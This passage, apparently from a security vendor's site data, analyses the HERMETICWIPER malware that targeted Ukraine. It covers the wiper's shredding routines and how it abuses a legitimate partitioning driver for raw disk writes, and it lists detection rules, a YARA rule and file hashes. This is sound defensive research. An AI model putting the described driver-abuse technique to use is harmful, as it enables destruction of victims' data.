p_random_filled_buffer_size;\n};\n`})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`HERMETICWIPER Structure for FilePart function\n\nstruct ctf::FilePart\n{\nctf::FilePart *p_next;\nctf::FilePart *p_prev;\nuint64_t start_address;\nuint64_t size;\n};\n`})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`HERMETICWIPER targeting file, folder, and disk partitions\n\nctf::QueueFileShred\nctf::QueueFolderShred\nctf::callback::IfPathContainNtUserQueueFileShred\nctf::callback::QueueNtfsBitmapAndLogAttributeShred\nctf::callback::QueueFileShredIfNotSymlink\nctf::callback::QueuePartitionFirstClusterShred\nctf::callback::QueuePartitionShred\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The malware emphasizes the following items that are targeted for shredding.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The dropped driver if something goes wrong or after service start:\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-4.jpg\",alt:\"\",width:\"411\",height:\"38\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The malware process itself if driver launch goes wrong:\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-image-21.jpg\",alt:\"\",width:\"516\",height:\"60\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The disk\\u2019s partition first cluster (enumerates up to 100):\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-7.jpg\",alt:\"\",width:\"608\",height:\"106\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The System Volume information direct used to store Windows restore points:\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-14.jpg\",alt:\"\",width:\"734\",height:\"32\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Interestingly if the computer doesn\\u2019t belong to a domain controller it will target more assets:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-5.jpg\",alt:\"\",width:\"776\",height:\"504\"})}),`\n`,(0,t.jsx)(e.p,{children:\"After queuing the different targets previously described, the sample starts different synchronous/asynchronous shredding threads for each of its queues:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-10.jpg\",alt:\"\",width:\"603\",height:\"127\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-12.jpg\",alt:\"\",width:\"337\",height:\"41\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The thread launcher will then start a new thread for each target.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-9.jpg\",alt:\"\",width:\"626\",height:\"200\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The shredding thread will then iterate through the target\\u2019s file parts and use the driver for writing at addresses on specified disk.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-17.jpg\",alt:\"\",width:\"817\",height:\"82\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-1.jpg\",alt:\"\",width:\"762\",height:\"401\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"driver-analysis\",children:\"Driver Analysis\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The driver that is loaded by the user mode component is quite similar to the driver that belongs to Eldos Rawdisk and has been leveraged previously by threat actors like \",(0,t.jsx)(e.a,{href:\"https://securelist.com/shamoon-the-wiper-further-details-part-ii/57784/\",rel:\"nofollow\",children:\"Shamoon\"}),\" and Lazarus. The difference is that HERMETICWIPER abuses a driver (epmntdrv.sys) that belongs to EaseUS Partition Master, a legitimate disk partitioning software.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"When the driver is loaded, it creates a device named \\\\Device\\\\EPMNTDRV and creates a symbolic link to be exposed to user mode. Then, it initializes the driver object with the following entry points.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-2.jpg\",alt:\"\",width:\"1440\",height:\"720\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Looking at the dispatch function that handles the IRP_MJ_CREATE requests, we can see that the driver builds the name of the symlink \\\\Device\\\\HarddiskX\\\\Partition0 and saves a pointer to its file object on the driver\\u2019s file object fs context. The driver then uses the volume manager device object to obtain a pointer to the highest level device object in the disk device stack.\"}),`\n`,(0,t.jsx)(e.p,{children:\"After that, it iterates over the stack looking for the Disk driver, that is the Microsoft storage class driver that implements functionality common to all storage devices. Once found, it saves a pointer to its device object in the FsContext2 field of the file object structure.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-11.jpg\",alt:\"\",width:\"1440\",height:\"1418\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Moving to the function that handles the write requests, we can see that it builds an asynchronous \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets\",rel:\"nofollow\",children:\"Input Output Request Packet\"}),\" (IRP), which is an API used for drivers to communicate with each other, and forwards it the volume manager device. The buffer used in the IRP is described by the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_mdl\",rel:\"nofollow\",children:\"Memory Descriptor List\"}),\" (MDL) driver function. Finally, a completion routine is provided that will free the MDL and release memory used by the IRP.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-18.png\",alt:\"\",width:\"1440\",height:\"1169\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The read requests are similar to the write requests in concept, in other words, the IoBuildsynchronousFsdRequest() \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuildsynchronousfsdrequest\",rel:\"nofollow\",children:\"API function\"}),\" uses the IRP_MJ_READ \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/irp-mj-read\",rel:\"nofollow\",children:\"driver function\"}),\" instead of the IRP_MJ_WRITE \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-write\",rel:\"nofollow\",children:\"driver function\"}),\" when sending the IRP to the driver. Finally, the routine that handles I/O control codes finds the highest device object in the stack where the volume manager is located and calls IoBuildDeviceIoControlRequest() to forward the IRP that contains the I/O control code to the appropriate driver.\"]}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"All in all, the driver functionality is very simple. It acts as a proxy between user space and the low level file system drivers, allowing raw disk sector manipulation and as a result circumventing Windows operating system security features.\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"prebuilt-detection-engine-alerts\",children:\"Prebuilt Detection Engine Alerts\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following existing \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"public detection rules\"}),\" can also be used to detect some of the employed post exploitation techniques described by Symantec Threat Intelligence Team and ESET [\",(0,t.jsx)(e.a,{href:\"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine\",rel:\"nofollow\",children:\"1\"}),\"][\",(0,t.jsx)(e.a,{href:\"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia\",rel:\"nofollow\",children:\"2\"}),\"][\",(0,t.jsx)(e.a,{href:\"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/\",rel:\"nofollow\",children:\"3\"}),\"] :\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_cmd_wmi.toml\",rel:\"nofollow\",children:\"Suspicious Cmd Execution via WMI\"}),\" (Deployment of wiper via Impacket WMI)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_direct_outbound_smb_connection.toml\",rel:\"nofollow\",children:\"Direct Outbound SMB Connection\"}),\" (SMB spreader)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_remote_services.toml\",rel:\"nofollow\",children:\"Remotely Started Services via RPC\"}),\" (Remcom)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_executable_tool_transfer_smb.toml\",rel:\"nofollow\",children:\"Lateral Tool Transfer\"}),\" (staging PE via file shares for remote execution)\"]}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml\",rel:\"nofollow\",children:\"Potential Credential Access via Windows Utilities\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_suspicious_lsass_access_memdump.toml\",rel:\"nofollow\",children:\"Potential Credential Access via LSASS Memory Dump\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_directory.toml\",rel:\"nofollow\",children:\"Process Execution from an Unusual Directory\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml\",rel:\"nofollow\",children:\"Execution from Unusual Directory - Command Line\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_scheduled_task_runtime.toml\",rel:\"nofollow\",children:\"Scheduled Task Execution\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_task_creation.toml\",rel:\"nofollow\",children:\"Scheduled Task Creation\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_mshta_beacon.toml\",rel:\"nofollow\",children:\"Suspicious MSHTA Execution\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"yara-rules\",children:\"YARA Rules\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule Windows_Wiper_HERMETICWIPER {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-02-24\"\n last_modified = \"2022-02-24\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Wiper\"\n family = \"HERMETICWIPER\"\n threat_name = \"Windows.Wiper.HERMETICWIPER\"\n description = \"Detects HERMETICWIPER used to target Ukrainian organization\"\n reference_sample = \"1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591\"\n\n strings:\n $a1 = \"\\\\\\\\\\\\\\\\?\\\\\\\\C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\" wide fullword\n $a2 = \"\\\\\\\\\\\\\\\\.\\\\\\\\EPMNTDRV\\\\\\\\%u\" wide fullword\n $a3 = \"tdrv.pdb\" ascii fullword\n $a4 = \"%s%.2s\" wide fullword\n $a5 = \"ccessdri\" ascii fullword\n $a6 = \"Hermetica Digital\"\n condition:\n all of them\n}\n\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"observables\",children:\"Observables\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Observable\"}),(0,t.jsx)(e.th,{children:\"Type\"}),(0,t.jsx)(e.th,{children:\"Reference\"}),(0,t.jsx)(e.th,{children:\"Note\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"Wiper malware\"}),(0,t.jsx)(e.td,{children:\"HERMETICWIPER\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"Wiper malware\"}),(0,t.jsx)(e.td,{children:\"HERMETICWIPER\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"Wiper malware\"}),(0,t.jsx)(e.td,{children:\"HERMETICWIPER\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"Wiper malware\"}),(0,t.jsx)(e.td,{children:\"HERMETICWIPER\"})]})]})]})}),`\n`,(0,t.jsx)(e.h2,{id:\"artifacts\",children:\"Artifacts\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Artifacts are also available for \",(0,t.jsx)(e.a,{href:\"https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt42ce05ad40a762e8/628e88d9bd980555189d997b/hermeticwiper-indicators.zip\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following research was referenced throughout the document:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://twitter.com/ESETresearch/status/1496581903205511181\",rel:\"nofollow\",children:\"https://twitter.com/ESETresearch/status/1496581903205511181\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://twitter.com/juanandres_gs/status/1496607141888724997\",rel:\"nofollow\",children:\"https://twitter.com/juanandres_gs/status/1496607141888724997\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://elastic.co/security-labs/operation-bleeding-bear\",rel:\"nofollow\",children:\"https://elastic.co/security-labs/operation-bleeding-bear\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/\",rel:\"nofollow\",children:\"https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://opencorporates.com/companies/cy/HE419469\",rel:\"nofollow\",children:\"https://opencorporates.com/companies/cy/HE419469\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.easeus.com/partition-manager\",rel:\"nofollow\",children:\"https://www.easeus.com/partition-manager\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-\",rel:\"nofollow\",children:\"https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew\",rel:\"nofollow\",children:\"https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens\",rel:\"nofollow\",children:\"https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew\",rel:\"nofollow\",children:\"https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource\",rel:\"nofollow\",children:\"https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource\"})}),`\n`]})]})}function k(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var E=k;return v(_);})();\n;return Component;"},"_id":"articles/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper.mdx","_raw":{"sourceFilePath":"articles/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper.mdx","sourceFileName":"elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper"},"type":"Article","imageUrl":"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/photo-edited-11@2x.jpg","readingTime":"10 min read","series":"","url":"/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Malware Wipers \u0026 Ukrainian Targets","href":"#malware-wipers--ukrainian-targets"},{"level":2,"title":"Malware Stage Analysis","href":"#malware-stage-analysis"},{"level":2,"title":"Interesting Functionality","href":"#interesting-functionality"},{"level":2,"title":"Shredding Component Analysis","href":"#shredding-component-analysis"},{"level":2,"title":"Driver Analysis","href":"#driver-analysis"},{"level":2,"title":"Prebuilt Detection Engine Alerts","href":"#prebuilt-detection-engine-alerts"},{"level":2,"title":"YARA Rules","href":"#yara-rules"},{"level":2,"title":"Observables","href":"#observables"},{"level":2,"title":"Artifacts","href":"#artifacts"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Mark Mager","slug":"mark-mager","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var M=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},m=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=g(e,a))||s.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(M(t)):{},m(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003em(o({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(u()),k={title:\"Mark Mager\",slug:\"mark-mager\"};function i(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(i,t)})):i(t)}var D=C;return p(F);})();\n;return Component;"},"_id":"authors/mark-mager.mdx","_raw":{"sourceFilePath":"authors/mark-mager.mdx","sourceFileName":"mark-mager.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/mark-mager"},"type":"Author","imageUrl":"","url":"/authors/mark-mager"},{"title":"Remco Sprooten","slug":"remco-sprooten","description":"Elastic Security Labs Team Senior Research Engineer","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!l.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=p(e,o))||a.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var m=_((D,i)=\u003e{i.exports=_jsx_runtime});var y={};d(y,{default:()=\u003eh,frontmatter:()=\u003eS});var r=j(m()),S={title:\"Remco Sprooten\",description:\"Elastic Security Labs Team Senior Research Engineer\",slug:\"remco-sprooten\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function b(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=b;return M(y);})();\n;return Component;"},"_id":"authors/remco-sprooten.mdx","_raw":{"sourceFilePath":"authors/remco-sprooten.mdx","sourceFileName":"remco-sprooten.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/remco-sprooten"},"type":"Author","imageUrl":"","url":"/authors/remco-sprooten"},{"title":"Jake King","slug":"jake-king","description":"Elastic Security Intelligence Team Lead","image":"jake-king.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),k=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of l(e))!d.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=j(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),_=t=\u003ec(i({},\"__esModule\",{value:!0}),t);var g=f((L,s)=\u003e{s.exports=_jsx_runtime});var D={};k(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=p(g()),M={title:\"Jake King\",description:\"Elastic Security Intelligence Team Lead\",slug:\"jake-king\",image:\"jake-king.jpg\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=y;return _(D);})();\n;return Component;"},"_id":"authors/jake-king.mdx","_raw":{"sourceFilePath":"authors/jake-king.mdx","sourceFileName":"jake-king.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jake-king"},"type":"Author","imageUrl":"/assets/images/authors/jake-king.jpg","url":"/authors/jake-king"},{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of 